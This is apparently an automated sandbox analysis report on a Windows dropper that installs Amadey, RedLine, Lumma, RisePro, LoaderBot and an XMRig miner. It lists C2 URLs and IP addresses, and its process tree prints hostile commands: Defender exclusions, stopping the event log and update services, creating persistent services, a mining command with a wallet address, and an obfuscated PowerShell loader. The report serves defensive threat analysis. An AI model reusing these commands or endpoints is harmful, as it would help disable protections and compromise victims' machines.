Resubmissions
25-06-2024 11:24
240625-nhwp5swhja 1025-06-2024 11:22
240625-ngzemszcrm 324-06-2024 00:56
240624-bamq2s1gma 1023-06-2024 11:27
240623-nkejmsygnf 823-06-2024 11:15
240623-nchw4ayflh 1023-06-2024 11:08
240623-m81w4syerb 1023-06-2024 11:08
240623-m8qq5ssfpn 322-05-2024 09:14
240522-k7dzvaad9z 1021-05-2024 10:21
240521-mdy42aaa2x 1021-05-2024 10:18
240521-mcbx4shg72 10Analysis
-
max time kernel
150s -
max time network
1803s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
24-06-2024 00:56
General
-
Target
New Text Document mod.exe
-
Size
8KB
-
MD5
69994ff2f00eeca9335ccd502198e05b
-
SHA1
b13a15a5bea65b711b835ce8eccd2a699a99cead
-
SHA256
2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
-
SHA512
ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3
-
SSDEEP
96:y7ov9wc1dN1Unh3EHJ40CUJCrQt0LpCBIW12nEtgpH9GIkQYQoBNw9fnmK5iLjTv:yZyTFJfCB20LsBIW12n/eIkQ2BNg5S1
Malware Config
Extracted
amadey
4.31
c43c2d
http://o7labs.top
-
install_dir
28feeece5c
-
install_file
Hkbsse.exe
-
strings_key
db4823e211dffb31faf4fc1fd90d3289
-
url_paths
/online/support/index.php
Extracted
redline
AMA
185.215.113.67:40960
Extracted
loaderbot
https://cv99160.tw1.ru/cmd.php
Extracted
risepro
77.91.77.66:58709
Extracted
lumma
https://disappointcredisotw.shop/api
https://publicitycharetew.shop/api
https://computerexcudesp.shop/api
https://leafcalfconflcitw.shop/api
https://injurypiggyoewirog.shop/api
https://bargainnygroandjwk.shop/api
https://doughtdrillyksow.shop/api
https://facilitycoursedw.shop/api
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Gh0st RAT payload 7 IoCs
-
Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
-
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
-
Lumma Stealer
An infostealer written in C++ first seen in August 2022.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 2 IoCs
-
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
-
LoaderBot executable 2 IoCs
-
XMRig Miner payload 11 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs
Run Powershell and hide display window.
-
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file
-
Stops running service(s) 4 TTPs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 1 IoCs
-
Executes dropped EXE 30 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 6 IoCs
Detects Themida, an advanced Windows software protection system.
-
UPX packed file 22 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Enumerates connected drives 3 TTPs 22 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Power Settings 1 TTPs 17 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
-
Drops file in System32 directory 4 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Program Files directory 2 IoCs
-
Drops file in Windows directory 5 IoCs
-
Launches sc.exe 17 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Kills process with taskkill 4 IoCs
-
Modifies Internet Explorer settings 1 TTPs 2 IoCs
-
Modifies data under HKEY_USERS 46 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\0x3fg.exe"C:\Users\Admin\AppData\Local\Temp\a\0x3fg.exe"2⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe"C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\1000001000\uYtF.exe"C:\Users\Admin\AppData\Roaming\1000001000\uYtF.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "xjuumoinznsp"5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "xjuumoinznsp" binpath= "C:\ProgramData\ajdiewdhnaew\wfbrmcwrltkl.exe" start= "auto"5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "xjuumoinznsp"5⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\a\setup.exe"C:\Users\Admin\AppData\Local\Temp\a\setup.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup-efb63c8260d5d45b\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup-efb63c8260d5d45b\setup.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\winsvc.exe"C:\Windows\system32\winsvc.exe" "C:\Users\Admin\AppData\Local\Temp\setup-efb63c8260d5d45b\setup.exe"4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "create" "winsvc" "type=own" "start=auto" "error=ignore" "binPath=\"C:\Windows\system32\winsvc.exe\"" "DisplayName=\"Windows System Service\""5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" create winsvc type=own start=auto error=ignore binPath=C:\Windows\system32\winsvc.exe "DisplayName=Windows System Service"6⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "failure" "winsvc" "reset=0" "actions=restart/0/restart/0/restart/0"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" failure winsvc reset=0 actions=restart/0/restart/0/restart/06⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "description" "winsvc" "\"Windows System Service is the main system supervision service.\""5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" description winsvc "Windows System Service is the main system supervision service."6⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "start" "winsvc"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" start winsvc6⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\a\taskweaker.exe"C:\Users\Admin\AppData\Local\Temp\a\taskweaker.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exeC:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\ama.exe"C:\Users\Admin\AppData\Local\Temp\a\ama.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\setup222.exe"C:\Users\Admin\AppData\Local\Temp\a\setup222.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\SetupWizard.exeSetupWizard.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SetupWizard-05b1525f32bc5566\SetupWizard.exe"C:\Users\Admin\AppData\Local\Temp\SetupWizard-05b1525f32bc5566\SetupWizard.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\SetupWizard.exeSetupWizard.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\SetupWizard-d6bcf6e35b011d64\SetupWizard.exe"C:\Users\Admin\AppData\Local\Temp\SetupWizard-d6bcf6e35b011d64\SetupWizard.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\SetupWizard.exeSetupWizard.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\SetupWizard-faaa44bc4cb019f1\SetupWizard.exe"C:\Users\Admin\AppData\Local\Temp\SetupWizard-faaa44bc4cb019f1\SetupWizard.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\SetupWizard.exeSetupWizard.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\SetupWizard-1cdb74005a4fe26a\SetupWizard.exe"C:\Users\Admin\AppData\Local\Temp\SetupWizard-1cdb74005a4fe26a\SetupWizard.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\SetupWizard.exeSetupWizard.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\SetupWizard-fea49c143adfa31e\SetupWizard.exe"C:\Users\Admin\AppData\Local\Temp\SetupWizard-fea49c143adfa31e\SetupWizard.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\SetupWizard.exeSetupWizard.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\SetupWizard-477ac196fe97790c\SetupWizard.exe"C:\Users\Admin\AppData\Local\Temp\SetupWizard-477ac196fe97790c\SetupWizard.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\SetupWizard.exeSetupWizard.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\SetupWizard-26481258dc2cd9e4\SetupWizard.exe"C:\Users\Admin\AppData\Local\Temp\SetupWizard-26481258dc2cd9e4\SetupWizard.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\FirstZ.exe"C:\Users\Admin\AppData\Local\Temp\a\FirstZ.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WSNKISKT"3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WSNKISKT"3⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\a\pic1.exe"C:\Users\Admin\AppData\Local\Temp\a\pic1.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\rolex.exerolex.exe -priverdD4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\yondex.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\yondex.exe"5⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 46⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 46⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\a\pic15.exe"C:\Users\Admin\AppData\Local\Temp\a\pic15.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exeC:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\limba.exe"C:\Users\Admin\AppData\Local\Temp\a\limba.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\a\ChatLife.exe"C:\Users\Admin\AppData\Local\Temp\a\ChatLife.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy Confirmed Confirmed.cmd & Confirmed.cmd3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe"C:\Users\Admin\AppData\Local\Temp\a\1.exe"2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 5123⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\a\gui.exe"C:\Users\Admin\AppData\Local\Temp\a\gui.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Uhyggestemninger=Get-Content 'C:\Users\Admin\AppData\Local\Kbmandslivenes110\jesuitical\colourama\Blaze.Udk';$Unyieldingly=$Uhyggestemninger.SubString(54584,3);.$Unyieldingly($Uhyggestemninger)"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"4⤵
-
C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"2⤵
- Executes dropped EXE
- Enumerates connected drives
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\ajdiewdhnaew\wfbrmcwrltkl.exeC:\ProgramData\ajdiewdhnaew\wfbrmcwrltkl.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe1⤵
- Executes dropped EXE
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\ProgramData\wikombernizc\reakuqnanrkn.exeC:\ProgramData\wikombernizc\reakuqnanrkn.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\system32\winsvc.exeC:\Windows\system32\winsvc.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\system32\""2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\Temp\""2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-SETACTIVE" "8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -SETACTIVE 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c3⤵
- Power Settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-ac" "0"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -change standby-timeout-ac 03⤵
- Power Settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-dc" "0"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -change standby-timeout-dc 03⤵
- Power Settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-ac" "0"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -change hibernate-timeout-ac 03⤵
- Power Settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-dc" "0"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\powercfg.exe"C:\Windows\system32\powercfg.exe" -change hibernate-timeout-dc 03⤵
- Power Settings
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "winnet.exe"2⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "winnet.exe"2⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "wincfg.exe"2⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exe"taskkill.exe" "/F" "/IM" "wincfg.exe"2⤵
- Kills process with taskkill
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Remove-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\""2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\97d0baa7bf0d4bb09d3a7c5a0d654d4a /t 9044 /p 81401⤵
-
C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\2e369f28fa8b41bf9b7cabab8ca1d358 /t 5660 /p 166681⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\0742ce899b5148419839caee67a00a89 /t 0 /p 138481⤵
-
C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\cb8dfefe095a4e80813398b1cedab18d /t 0 /p 140361⤵
-
C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exeC:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe1⤵
-
